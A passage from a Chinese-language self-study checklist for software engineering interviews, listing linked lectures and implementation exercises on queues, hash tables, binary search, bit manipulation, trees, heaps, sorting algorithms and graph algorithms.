[队列(视频)](https://www.coursera.org/learn/data-structures/lecture/EShpq/queue) - [ ] [原型队列/先进先出(FIFO)](https://en.wikipedia.org/wiki/Circular_buffer) - [ ] [优先级队列(视频)](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Priority-queues-deques/149042/177123-4.html) - [ ] 使用含有尾部指针的链表来实现: - enqueue(value) —— 在尾部添加值 - dequeue() —— 删除最早添加的元素并返回其值(首部元素) - empty() - [ ] 使用固定大小的数组实现: - enqueue(value) —— 在可容的情况下添加元素到尾部 - dequeue() —— 删除最早添加的元素并返回其值 - empty() - full() - [ ] 花销: - 在糟糕的实现情况下,使用链表所实现的队列,其入列和出列的时间复杂度将会是 O(n)。因为,你需要找到下一个元素,以致循环整个队列 - enqueue:O(1)(平摊(amortized)、链表和数组 [探测(probing)]) - dequeue:O(1)(链表和数组) - empty:O(1)(链表和数组) - ### 哈希表(Hash table) - [ ] 视频: - [ ] [链式哈希表(视频)](https://www.youtube.com/watch?v=0M_kIqhwbFo&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=8) - [ ] [Table Doubling 和 Karp-Rabin(视频)](https://www.youtube.com/watch?v=BRO7mVIFt08&index=9&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [Open Addressing 和密码型哈希(Cryptographic Hashing)(视频)](https://www.youtube.com/watch?v=rvdJDijO2Ro&index=10&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [PyCon 2010:The Mighty Dictionary(视频)](https://www.youtube.com/watch?v=C4Kc8xzcA68) - [ ] [(进阶)随机取样(Randomization):全域哈希(Universal Hashing)& 完美哈希(Perfect Hashing)(视频)](https://www.youtube.com/watch?v=z0lJ2k0sl1g&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=11) - [ ] [(进阶)完美哈希(Perfect hashing)(视频)](https://www.youtube.com/watch?v=N0COwN14gt0&list=PL2B4EEwhKD-NbwZ4ezj7gyc_3yNrojKM9&index=4) - [ ] 在线课程: - [ ] [哈希函数的掌握(视频)](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Understanding-hash-functions/149042/177126-4.html) - [ ] [使用哈希表(视频)](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Using-hash-tables/149042/177127-4.html) - [ ] [哈希表的支持(视频)](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Supporting-hashing/149042/177128-4.html) - [ ] [哈希表的语言支持(视频)](https://www.lynda.com/Developer-Programming-Foundations-tutorials/Language-support-hash-tables/149042/177129-4.html) - [ ] [基本哈希表(视频)](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/m7UuP/core-hash-tables) - [ ] [数据结构(视频)](https://www.coursera.org/learn/data-structures/home/week/3) - [ ] [电话薄问题(Phone Book Problem)(视频)](https://www.coursera.org/learn/data-structures/lecture/NYZZP/phone-book-problem) - [ ] 分布式哈希表: - [Dropbox 中的瞬时上传及存储优化(视频)](https://www.coursera.org/learn/data-structures/lecture/DvaIb/instant-uploads-and-storage-optimization-in-dropbox) - [分布式哈希表(视频)](https://www.coursera.org/learn/data-structures/lecture/tvH8H/distributed-hash-tables) - [ ] 使用线性探测的数组去实现 - hash(k, m) —— m 是哈希表的大小 - add(key, value) —— 如果 key 已存在则更新值 - exists(key) - get(key) - remove(key) ## 更多的知识 - ### 二分查找(Binary search) - [ ] [二分查找(视频)](https://www.youtube.com/watch?v=D5SrAga1pno) - [ ] [二分查找(视频)](https://www.khanacademy.org/computing/computer-science/algorithms/binary-search/a/binary-search) - [ ] [详情](https://www.topcoder.com/community/data-science/data-science-tutorials/binary-search/) - [ ] 实现: - 二分查找(在一个已排序好的整型数组中查找) - 迭代式二分查找 - ### 按位运算(Bitwise operations) - [ ] [Bits 速查表](https://github.com/jwasham/google-interview-university/blob/master/extras/cheat%20sheets/bits-cheat-cheet.pdf) - 你需要知道大量2的幂数值(从2^1 到 2^16 及 2^32) - [ ] 好好理解位操作符的含义:&、|、^、~、>>、<< - [ ] [字码(words)](https://en.wikipedia.org/wiki/Word_(computer_architecture)) - [ ] 好的介绍: [位操作(视频)](https://www.youtube.com/watch?v=7jkIUgLC29I) - [ ] [C 语言编程教程 2-10:按位运算(视频)](https://www.youtube.com/watch?v=d0AwjSpNXR0) - [ ] [位操作](https://en.wikipedia.org/wiki/Bit_manipulation) - [ ] [按位运算](https://en.wikipedia.org/wiki/Bitwise_operation) - [ ] [Bithacks](https://graphics.stanford.edu/~seander/bithacks.html) - [ ] [位元抚弄者(The Bit Twiddler)](http://bits.stephan-brumme.com/) - [ ] [交互式位元抚弄者(The Bit Twiddler Interactive)](http://bits.stephan-brumme.com/interactive.html) - [ ] 一补数和补码 - [二进制:利 & 弊(为什么我们要使用补码)(视频)](https://www.youtube.com/watch?v=lKTsv6iVxV4) - [一补数(1s Complement)](https://en.wikipedia.org/wiki/Ones%27_complement) - [补码(2s Complement)](https://en.wikipedia.org/wiki/Two%27s_complement) - [ ] 计算置位(Set Bits) - [计算一个字节中置位(Set Bits)的四种方式(视频)](https://youtu.be/Hzuzo9NJrlc) - [计算比特位](https://graphics.stanford.edu/~seander/bithacks.html#CountBitsSetKernighan) - [如何在一个 32 位的整型中计算置位(Set Bits)的数量](http://stackoverflow.com/questions/109023/how-to-count-the-number-of-set-bits-in-a-32-bit-integer) - [ ] 四舍五入2的幂数: - [四舍五入到2的下一幂数](http://bits.stephan-brumme.com/roundUpToNextPowerOfTwo.html) - [ ] 交换值: - [交换(Swap)](http://bits.stephan-brumme.com/swap.html) - [ ] 绝对值: - [绝对整型(Absolute Integer)](http://bits.stephan-brumme.com/absInteger.html) ## 树(Trees) - ### 树 —— 笔记 & 背景 - [ ] [系列:基本树(视频)](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/ovovP/core-trees) - [ ] [系列:树(视频)](https://www.coursera.org/learn/data-structures/lecture/95qda/trees) - 基本的树形结构 - 遍历 - 操作算法 - BFS(广度优先检索,breadth-first search) - [MIT(视频)](https://www.youtube.com/watch?v=s-CYnVz-uh4&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=13) - 层序遍历(使用队列的 BFS 算法) - 时间复杂度: O(n) - 空间复杂度: - 最好情况: O(1) - 最坏情况:O(n/2)=O(n) - DFS(深度优先检索,depth-first search) - [MIT(视频)](https://www.youtube.com/watch?v=AfSk24UTFS8&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=14) - 笔记: - 时间复杂度:O(n) - 空间复杂度: - 最好情况:O(log n) - 树的平均高度 - 最坏情况:O(n) - 中序遍历(DFS:左、节点本身、右) - 后序遍历(DFS:左、右、节点本身) - 先序遍历(DFS:节点本身、左、右) - ### 二叉查找树(Binary search trees):BSTs - [ ] [二叉查找树概览(视频)](https://www.youtube.com/watch?v=x6At0nzX92o&index=1&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6) - [ ] [系列(视频)](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/p82sw/core-introduction-to-binary-search-trees) - 从符号表开始到 BST 程序 - [ ] [介绍(视频)](https://www.coursera.org/learn/data-structures/lecture/E7cXP/introduction) - [ ] [MIT(视频)](https://www.youtube.com/watch?v=9Jry5-82I68) - C/C++: - [ ] [二叉查找树 —— 在 C/C++ 中实现(视频)](https://www.youtube.com/watch?v=COZK7NATh4k&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=28) - [ ] [BST 的实现 —— 在堆栈和堆中的内存分配(视频)](https://www.youtube.com/watch?v=hWokyBoo0aI&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=29) - [ ] [在二叉查找树中找到最小和最大的元素(视频)](https://www.youtube.com/watch?v=Ut90klNN264&index=30&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P) - [ ] [寻找二叉树的高度(视频)](https://www.youtube.com/watch?v=_pnqMz5nrRs&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=31) - [ ] [二叉树的遍历 —— 广度优先和深度优先策略(视频)](https://www.youtube.com/watch?v=9RHO6jU--GU&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=32) - [ ] [二叉树:层序遍历(视频)](https://www.youtube.com/watch?v=86g8jAQug04&index=33&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P) - [ ] [二叉树的遍历:先序、中序、后序(视频)](https://www.youtube.com/watch?v=gm8DUJJhmY4&index=34&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P) - [ ] [判断一棵二叉树是否为二叉查找树(视频)](https://www.youtube.com/watch?v=yEwSGhSsT0U&index=35&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P) - [ ] [从二叉查找树中删除一个节点(视频)](https://www.youtube.com/watch?v=gcULXE7ViZw&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=36) - [ ] [二叉查找树中序遍历的后继者(视频)](https://www.youtube.com/watch?v=5cPbNCrdotA&index=37&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P) - [ ] 实现: - [ ] insert // 往树上插值 - [ ] get_node_count // 查找树上的节点数 - [ ] print_values // 从小到大打印树中节点的值 - [ ] delete_tree - [ ] is_in_tree // 如果值存在于树中则返回 true - [ ] get_height // 返回节点所在的高度(如果只有一个节点,那么高度则为1) - [ ] get_min // 返回树上的最小值 - [ ] get_max // 返回树上的最大值 - [ ] is_binary_search_tree - [ ] delete_value - [ ] get_successor // 返回给定值的后继者,若没有则返回-1 - ### 堆(Heap) / 优先级队列(Priority Queue) / 二叉堆(Binary Heap) - 可视化是一棵树,但通常是以线性的形式存储(数组、链表) - [ ] [堆](https://en.wikipedia.org/wiki/Heap_(data_structure)) - [ ] [介绍(视频)](https://www.coursera.org/learn/data-structures/lecture/2OpTs/introduction) - [ ] [无知的实现(视频)](https://www.coursera.org/learn/data-structures/lecture/z3l9N/naive-implementations) - [ ] [二叉树(视频)](https://www.coursera.org/learn/data-structures/lecture/GRV2q/binary-trees) - [ ] [关于树高的讨论(视频)](https://www.coursera.org/learn/data-structures/supplement/S5xxz/tree-height-remark) - [ ] [基本操作(视频)](https://www.coursera.org/learn/data-structures/lecture/0g1dl/basic-operations) - [ ] [完全二叉树(视频)](https://www.coursera.org/learn/data-structures/lecture/gl5Ni/complete-binary-trees) - [ ] [伪代码(视频)](https://www.coursera.org/learn/data-structures/lecture/HxQo9/pseudocode) - [ ] [堆排序 —— 跳到起点(视频)](https://youtu.be/odNJmw5TOEE?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3291) - [ ] [堆排序(视频)](https://www.coursera.org/learn/data-structures/lecture/hSzMO/heap-sort) - [ ] [构建一个堆(视频)](https://www.coursera.org/learn/data-structures/lecture/dwrOS/building-a-heap) - [ ] [MIT:堆与堆排序(视频)](https://www.youtube.com/watch?v=B7hVxCmfPtM&index=4&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [CS 61B Lecture 24:优先级队列(视频)](https://www.youtube.com/watch?v=yIUFT6AKBGE&index=24&list=PL4BBB74C7D2A1049C) - [ ] [构建线性时间复杂度的堆(大顶堆)](https://www.youtube.com/watch?v=MiyLo8adrWw) - [ ] 实现一个大顶堆: - [ ] insert - [ ] sift_up —— 用于插入元素 - [ ] get_max —— 返回最大值但不移除元素 - [ ] get_size() —— 返回存储的元素数量 - [ ] is_empty() —— 若堆为空则返回 true - [ ] extract_max —— 返回最大值并移除 - [ ] sift_down —— 用于获取最大值元素 - [ ] remove(i) —— 删除指定索引的元素 - [ ] heapify —— 构建堆,用于堆排序 - [ ] heap_sort() —— 拿到一个未排序的数组,然后使用大顶堆进行就地排序 - 注意:若用小顶堆可节省操作,但导致空间复杂度加倍。(无法做到就地) - ### 字典树(Tries) - 需要注意的是,字典树各式各样。有些有前缀,而有些则没有。有些使用字符串而不使用比特位来追踪路径。 - 阅读代码,但不实现。 - [ ] [数据结构笔记及编程技术](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#Tries) - [ ] 短课程视频: - [ ] [对字典树的介绍(视频)](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/08Xyf/core-introduction-to-tries) - [ ] [字典树的性能(视频)](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/PvlZW/core-performance-of-tries) - [ ] [实现一棵字典树(视频)](https://www.coursera.org/learn/data-structures-optimizing-performance/lecture/DFvd3/core-implementing-a-trie) - [ ] [字典树:一个被忽略的数据结构](https://www.toptal.com/java/the-trie-a-neglected-data-structure) - [ ] [高级编程 —— 使用字典树](https://www.topcoder.com/community/data-science/data-science-tutorials/using-tries/) - [ ] [标准教程(现实中的用例)(视频)](https://www.youtube.com/watch?v=TJ8SkcUSdbU) - [ ] [MIT,高阶数据结构,使用字符串追踪路径(可事半功倍)](https://www.youtube.com/watch?v=NinWEPPrkDQ&index=16&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf) - ### 平衡查找树(Balanced search trees) - 掌握至少一种平衡查找树(并懂得如何实现): - “在各种平衡查找树当中,AVL 树和2-3树已经成为了过去,而红黑树(red-black trees)看似变得越来越受人青睐。这种令人特别感兴趣的数据结构,亦称伸展树(splay tree)。它可以自我管理,且会使用轮换来移除任何访问过根节点的 key。” —— Skiena - 因此,在各种各样的平衡查找树当中,我选择了伸展树来实现。虽然,通过我的阅读,我发现在 Google 的面试中并不会被要求实现一棵平衡查找树。但是,为了胜人一筹,我们还是应该看看如何去实现。在阅读了大量关于红黑树的代码后,我才发现伸展树的实现确实会使得各方面更为高效。 - 伸展树:插入、查找、删除函数的实现,而如果你最终实现了红黑树,那么请尝试一下: - 跳过删除函数,直接实现搜索和插入功能 - 我希望能阅读到更多关于 B 树的资料,因为它也被广泛地应用到大型的数据库当中。 - [ ] [自平衡二叉查找树](https://en.wikipedia.org/wiki/Self-balancing_binary_search_tree) - [ ] **AVL 树** - 实际中:我能告诉你的是,该种树并无太多的用途,但我能看到有用的地方在哪里:AVL 树是另一种平衡查找树结构。其可支持时间复杂度为 O(log n) 的查询、插入及删除。它比红黑树严格意义上更为平衡,从而导致插入和删除更慢,但遍历却更快。正因如此,才彰显其结构的魅力。只需要构建一次,就可以在不重新构造的情况下读取,适合于实现诸如语言字典(或程序字典,如一个汇编程序或解释程序的操作码)。 - [ ] [MIT AVL 树 / AVL 树的排序(视频)](https://www.youtube.com/watch?v=FNeL18KsWPc&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=6) - [ ] [AVL 树(视频)](https://www.coursera.org/learn/data-structures/lecture/Qq5E0/avl-trees) - [ ] [AVL 树的实现(视频)](https://www.coursera.org/learn/data-structures/lecture/PKEBC/avl-tree-implementation) - [ ] [分离与合并](https://www.coursera.org/learn/data-structures/lecture/22BgE/split-and-merge) - [ ] **伸展树** - 实际中:伸展树一般用于缓存、内存分配者、路由器、垃圾回收者、数据压缩、ropes(字符串的一种替代品,用于存储长串的文本字符)、Windows NT(虚拟内存、网络及文件系统)等的实现。 - [ ] [CS 61B:伸展树(Splay trees)(视频)](https://www.youtube.com/watch?v=Najzh1rYQTo&index=23&list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd) - [ ] MIT 教程:伸展树(Splay trees): - 该教程会过于学术,但请观看到最后的10分钟以确保掌握。 - [视频](https://www.youtube.com/watch?v=QnPl_Y6EqMo) - [ ] **2-3查找树** - 实际中:2-3树的元素插入非常快速,但却有着查询慢的代价(因为相比较 AVL 树来说,其高度更高)。 - 你会很少用到2-3树。这是因为,其实现过程中涉及到不同类型的节点。因此,人们更多地会选择红黑树。 - [ ] [2-3树的直感与定义(视频)](https://www.youtube.com/watch?v=C3SsdUqasD4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=2) - [ ] [2-3树的二元观点](https://www.youtube.com/watch?v=iYvBtGKsqSg&index=3&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6) - [ ] [2-3树(学生叙述)(视频)](https://www.youtube.com/watch?v=TOb1tuEZ2X4&index=5&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - [ ] **2-3-4树 (亦称2-4树)** - 实际中:对于每一棵2-4树,都有着对应的红黑树来存储同样顺序的数据元素。在2-4树上进行插入及删除操作等同于在红黑树上进行颜色翻转及轮换。这使得2-4树成为一种用于掌握红黑树背后逻辑的重要工具。这就是为什么许多算法引导文章都会在介绍红黑树之前,先介绍2-4树,尽管**2-4树在实际中并不经常使用**。 - [ ] [CS 61B Lecture 26:平衡查找树(视频)](https://www.youtube.com/watch?v=zqrqYXkth6Q&index=26&list=PL4BBB74C7D2A1049C) - [ ] [自底向上的2-4树(视频)](https://www.youtube.com/watch?v=DQdMYevEyE4&index=4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6) - [ ] [自顶向下的2-4树(视频)](https://www.youtube.com/watch?v=2679VQ26Fp4&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=5) - [ ] **B 树** - 有趣的是:为啥叫 B 仍然是一个神秘。因为 B 可代表波音(Boeing)、平衡(Balanced)或 Bayer(联合创造者) - 实际中:B 树会被广泛适用于数据库中,而现代大多数的文件系统都会使用到这种树(或变种)。除了运用在数据库中,B 树也会被用于文件系统以快速访问一个文件的任意块。但存在着一个基本的问题,那就是如何将文件块 i 转换成一个硬盘块(或一个柱面-磁头-扇区)上的地址。 - [ ] [B 树](https://en.wikipedia.org/wiki/B-tree) - [ ] [B 树的介绍(视频)](https://www.youtube.com/watch?v=I22wEC1tTGo&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6&index=6) - [ ] [B 树的定义及其插入操作(视频)](https://www.youtube.com/watch?v=s3bCdZGrgpA&index=7&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6) - [ ] [B 树的删除操作(视频)](https://www.youtube.com/watch?v=svfnVhJOfMc&index=8&list=PLA5Lqm4uh9Bbq-E0ZnqTIa8LRaL77ica6) - [ ] [MIT 6.851 —— 内存层次模块(Memory Hierarchy Models)(视频)](https://www.youtube.com/watch?v=V3omVLzI0WE&index=7&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf) - 覆盖有高速缓存参数无关型(cache-oblivious)B 树和非常有趣的数据结构 - 头37分钟讲述的很专业,或许可以跳过(B 指块的大小、即缓存行的大小) - [ ] **红黑树** - 实际中:红黑树提供了在最坏情况下插入操作、删除操作和查找操作的时间保证。这些时间值的保障不仅对时间敏感型应用有用,例如实时应用,还对在其他数据结构中块的构建非常有用,而这些数据结构都提供了最坏情况下的保障;例如,许多用于计算几何学的数据结构都可以基于红黑树,而目前 Linux 系统所采用的完全公平调度器(the Completely Fair Scheduler)也使用到了该种树。在 Java 8中,红黑树也被用于存储哈希列表集合中相同的数据,而不是使用链表及哈希码。 - [ ] [Aduni —— 算法 —— 课程4(该链接直接跳到开始部分)(视频)](https://youtu.be/1W3x0f_RmUo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=3871) - [ ] [Aduni —— 算法 —— 课程5(视频)](https://www.youtube.com/watch?v=hm2GHwyKF1o&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=5) - [ ] [黑树(Black Tree)](https://en.wikipedia.org/wiki/Red%E2%80%93black_tree) - [ ] [二分查找及红黑树的介绍](https://www.topcoder.com/community/data-science/data-science-tutorials/an-introduction-to-binary-search-and-red-black-trees/) - ### N 叉树(K 叉树、M 叉树) - 注意:N 或 K 指的是分支系数(即树的最大分支数): - 二叉树是一种分支系数为2的树 - 2-3树是一种分支系数为3的树 - [ ] [K 叉树](https://en.wikipedia.org/wiki/K-ary_tree) ## 排序(Sorting) - [ ] 笔记: - 实现各种排序 & 知道每种排序的最坏、最好和平均的复杂度分别是什么场景: - 不要用冒泡排序 - 大多数情况下效率感人 - 时间复杂度 O(n^2), 除非 n <= 16 - [ ] 排序算法的稳定性 ("快排是稳定的么?") - [排序算法的稳定性](https://en.wikipedia.org/wiki/Sorting_algorithm#Stability) - [排序算法的稳定性](http://stackoverflow.com/questions/1517793/stability-in-sorting-algorithms) - [排序算法的稳定性](http://stackoverflow.com/questions/1517793/stability-in-sorting-algorithms) - [排序算法的稳定性](http://www.geeksforgeeks.org/stability-in-sorting-algorithms/) - [排序算法 - 稳定性](http://homepages.math.uic.edu/~leon/cs-mcs401-s08/handouts/stability.pdf) - [ ] 哪种排序算法可以用链表?哪种用数组?哪种两者都可? - 并不推荐对一个链表排序,但归并排序是可行的. - [链表的归并排序](http://www.geeksforgeeks.org/merge-sort-for-linked-list/) - 关于堆排序,请查看前文堆的数据结构部分。堆排序很强大,不过是非稳定排序。 - [ ] [冒泡排序 (video)](https://www.youtube.com/watch?v=P00xJgWzz2c&index=1&list=PL89B61F78B552C1AB) - [ ] [冒泡排序分析 (video)](https://www.youtube.com/watch?v=ni_zk257Nqo&index=7&list=PL89B61F78B552C1AB) - [ ] [插入排序 & 归并排序 (video)](https://www.youtube.com/watch?v=Kg4bqzAqRBM&index=3&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [插入排序 (video)](https://www.youtube.com/watch?v=c4BRHC7kTaQ&index=2&list=PL89B61F78B552C1AB) - [ ] [归并排序 (video)](https://www.youtube.com/watch?v=GCae1WNvnZM&index=3&list=PL89B61F78B552C1AB) - [ ] [快排 (video)](https://www.youtube.com/watch?v=y_G9BkAm6B8&index=4&list=PL89B61F78B552C1AB) - [ ] [选择排序 (video)](https://www.youtube.com/watch?v=6nDMgr0-Yyo&index=8&list=PL89B61F78B552C1AB) - [ ] 斯坦福大学关于排序算法的视频: - [ ] [课程 15 | 编程抽象 (video)](https://www.youtube.com/watch?v=ENp00xylP7c&index=15&list=PLFE6E58F856038C69) - [ ] [课程 16 | 编程抽象 (video)](https://www.youtube.com/watch?v=y4M9IVgrVKo&index=16&list=PLFE6E58F856038C69) - [ ] Shai Simonson 视频, [Aduni.org](http://www.aduni.org/): - [ ] [算法 - 排序 - 第二讲 (video)](https://www.youtube.com/watch?v=odNJmw5TOEE&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=2) - [ ] [算法 - 排序2 - 第三讲 (video)](https://www.youtube.com/watch?v=hj8YKFTFKEE&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=3) - [ ] Steven Skiena 关于排序的视频: - [ ] [课程从 26:46 开始 (video)](https://youtu.be/ute-pmMkyuk?list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&t=1600) - [ ] [课程从 27:40 开始 (video)](https://www.youtube.com/watch?v=yLvp-pB8mak&index=8&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b) - [ ] [课程从 35:00 开始 (video)](https://www.youtube.com/watch?v=q7K9otnzlfE&index=9&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b) - [ ] [课程从 23:50 开始 (video)](https://www.youtube.com/watch?v=TvqIGu9Iupw&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&index=10) - [ ] 加州大学伯克利分校(UC Berkeley) 大学课程: - [ ] [CS 61B 课程 29: 排序 I (video)](https://www.youtube.com/watch?v=EiUvYS2DT6I&list=PL4BBB74C7D2A1049C&index=29) - [ ] [CS 61B 课程 30: 排序 II (video)](https://www.youtube.com/watch?v=2hTY3t80Qsk&list=PL4BBB74C7D2A1049C&index=30) - [ ] [CS 61B 课程 32: 排序 III (video)](https://www.youtube.com/watch?v=Y6LOLpxg6Dc&index=32&list=PL4BBB74C7D2A1049C) - [ ] [CS 61B 课程 33: 排序 V (video)](https://www.youtube.com/watch?v=qNMQ4ly43p4&index=33&list=PL4BBB74C7D2A1049C) - [ ] - 归并排序: - [ ] [使用外部数组](http://www.cs.yale.edu/homes/aspnes/classes/223/examples/sorting/mergesort.c) - [ ] [对原数组直接排序](https://github.com/jwasham/practice-cpp/blob/master/merge_sort/merge_sort.cc) - [ ] - 快速排序: - [ ] [实现](http://www.cs.yale.edu/homes/aspnes/classes/223/examples/randomization/quick.c) - [ ] [实现](https://github.com/jwasham/practice-c/blob/master/quick_sort/quick_sort.c) - [ ] 实现: - [ ] 归并:平均和最差情况的时间复杂度为 O(n log n)。 - [ ] 快排:平均时间复杂度为 O(n log n)。 - 选择排序和插入排序的最坏、平均时间复杂度都是 O(n^2)。 - 关于堆排序,请查看前文堆的数据结构部分。 - [ ] 有兴趣的话,还有一些补充 - 但并不是必须的: - [ ] [基数排序](http://www.cs.yale.edu/homes/aspnes/classes/223/notes.html#radixSort) - [ ] [基数排序 (video)](https://www.youtube.com/watch?v=xhr26ia4k38) - [ ] [基数排序, 计数排序 (线性时间内) (video)](https://www.youtube.com/watch?v=Nz1KZXbghj8&index=7&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [随机算法: 矩阵相乘, 快排, Freivalds' 算法 (video)](https://www.youtube.com/watch?v=cNB2lADK3_s&index=8&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - [ ] [线性时间内的排序 (video)](https://www.youtube.com/watch?v=pOKy3RZbSws&list=PLUl4u3cNGP61hsJNdULdudlRL493b-XZf&index=14) ## 图(Graphs) 图论能解决计算机科学里的很多问题,所以这一节会比较长,像树和排序的部分一样。 - Yegge 的笔记: - 有 3 种基本方式在内存里表示一个图: - 对象和指针 - 矩阵 - 邻接表 - 熟悉以上每一种图的表示法,并了解各自的优缺点 - 宽度优先搜索和深度优先搜索 - 知道它们的计算复杂度和设计上的权衡以及如何用代码实现它们 - 遇到一个问题时,首先尝试基于图的解决方案,如果没有再去尝试其他的。 - [ ] Skiena 教授的课程 - 很不错的介绍: - [ ] [CSE373 2012 - 课程 11 - 图的数据结构 (video)](https://www.youtube.com/watch?v=OiXxhDrFruw&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&index=11) - [ ] [CSE373 2012 - 课程 12 - 广度优先搜索 (video)](https://www.youtube.com/watch?v=g5vF8jscteo&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&index=12) - [ ] [CSE373 2012 - 课程 13 - 图的算法 (video)](https://www.youtube.com/watch?v=S23W6eTcqdY&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b&index=13) - [ ] [CSE373 2012 - 课程 14 - 图的算法 (1) (video)](https://www.youtube.com/watch?v=WitPBKGV0HY&index=14&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b) - [ ] [CSE373 2012 - 课程 15 - 图的算法 (2) (video)](https://www.youtube.com/watch?v=ia1L30l7OIg&index=15&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b) - [ ] [CSE373 2012 - 课程 16 - 图的算法 (3) (video)](https://www.youtube.com/watch?v=jgDOQq6iWy8&index=16&list=PLOtl7M3yp-DV69F32zdK7YJcNXpTunF2b) - [ ] 图 (复习和其他): - [ ] [6.006 单源最短路径问题 (video)](https://www.youtube.com/watch?v=Aa2sqUhIn-E&index=15&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [6.006 Dijkstra 算法 (video)](https://www.youtube.com/watch?v=2E7MmKv0Y24&index=16&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb) - [ ] [6.006 Bellman-Ford 算法(video)](https://www.youtube.com/watch?v=ozsuci5pIso&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=17) - [ ] [6.006 Dijkstra 效率优化 (video)](https://www.youtube.com/watch?v=CHvQ3q_gJ7E&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=18) - [ ] [Aduni: 图的算法 I - 拓扑排序, 最小生成树, Prim 算法 - 第六课 (video)]( https://www.youtube.com/watch?v=i_AQT_XfvD8&index=6&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm) - [ ] [Aduni: 图的算法 II - 深度优先搜索, 广度优先搜索, Kruskal 算法, 并查集数据结构 - 第七课 (video)]( https://www.youtube.com/watch?v=ufj5_bppBsA&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=7) - [ ] [Aduni: 图的算法 III: 最短路径 - 第八课 (video)](https://www.youtube.com/watch?v=DiedsPsMKXc&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=8) - [ ] [Aduni: 图的算法. IV: 几何算法介绍 - 第九课 (video)](https://www.youtube.com/watch?v=XIAQRlNkJAw&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=9) - [ ] [CS 61B 2014 (从 58:09 开始) (video)](https://youtu.be/dgjX4HdMI-Q?list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd&t=3489) - [ ] [CS 61B 2014: 加权图 (video)](https://www.youtube.com/watch?v=aJjlQCFwylA&list=PL-XXv-cvA_iAlnI-BQr9hjqADPBtujFJd&index=19) - [ ] [贪心算法: 最小生成树 (video)](https://www.youtube.com/watch?v=tKwnms5iRBU&index=16&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp) - [ ] [图的算法之强连通分量 Kosaraju 算法 (video)](https://www.youtube.com/watch?v=RpgcYiky7uw) - 完整的 Coursera 课程: - [ ] [图的算法 (video)](https://www.coursera.org/learn/algorithms-on-graphs/home/welcome) - Yegge: 如果有机会,可以试试研究更酷炫的算法: - [ ] Dijkstra 算法 - 上文 - 6.006 - [ ] A* 算法 - [ ] [A* 算法](https://en.wikipedia.org/wiki/A*_search_algorithm) - [ ] [A* 寻路教程 